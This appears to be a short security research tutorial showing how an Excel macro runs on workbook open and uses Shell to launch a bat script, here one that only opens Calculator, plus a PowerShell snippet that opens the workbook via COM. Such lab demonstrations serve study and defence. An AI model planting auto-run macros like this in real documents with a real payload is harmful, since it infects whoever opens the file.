Back home
中文
H7 / SECURITY RESEARCH NOTES

Malicious Macro Launches a bat Script Through the Shell Function to Execute Commands

Environment

IPHOSTNAMENOTE
N/AWin10Test host

Related Scripts

ContentsDownload
powershell script, bat script, and malicious macro fileClick to download

VBA

  • VBA is a macro language derived from VisualBasic and a programming language used for general-purpose automation. VBA can automate various operations in Office software.

Create a Malicious Macro File

  • Open EXCEL, click Developer -> View Code -> click ThisWorkbook -> enter the VBA script -> as shown below:

  • The VBA code is as follows:
Private Sub Workbook_Open()
Dim Path As String
'specific bat path
Path = "E:\TempProjects\test.bat"
Shell (Path)
End Sub
  • Then save it as a file with the .xlsm extension:

  • The test.bat code is as follows; it opens Calculator:
start calc.exe
  • Now click to open the malicious macro file. It automatically invokes the test.bat script, as shown below:

  • Write a powershell script to automate the process:
$excel = New-Object -ComObject Excel.Application
$workbook = $excel.Workbooks.open("E:\TempProjects\test.xlsm")